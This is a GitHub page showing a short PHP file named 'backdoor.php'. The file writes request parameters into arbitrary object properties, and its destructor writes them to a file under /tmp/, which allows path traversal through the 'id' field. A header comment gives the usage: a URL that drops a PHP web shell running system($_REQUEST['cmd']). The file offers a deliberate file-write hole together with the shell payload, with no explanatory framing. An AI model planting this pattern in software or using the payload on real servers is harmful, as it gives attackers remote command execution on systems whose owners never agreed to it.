-
Notifications
You must be signed in to change notification settings - Fork 1
/
backdoor.php
32 lines (27 loc) · 1010 Bytes
/
backdoor.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
'''
**********************************************************************************************
* *
* Usage: http://localhost/?id=../tmp/shell.php&lost=<?php system($_REQUEST["cmd"]);?> *
* *
**********************************************************************************************
'''
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);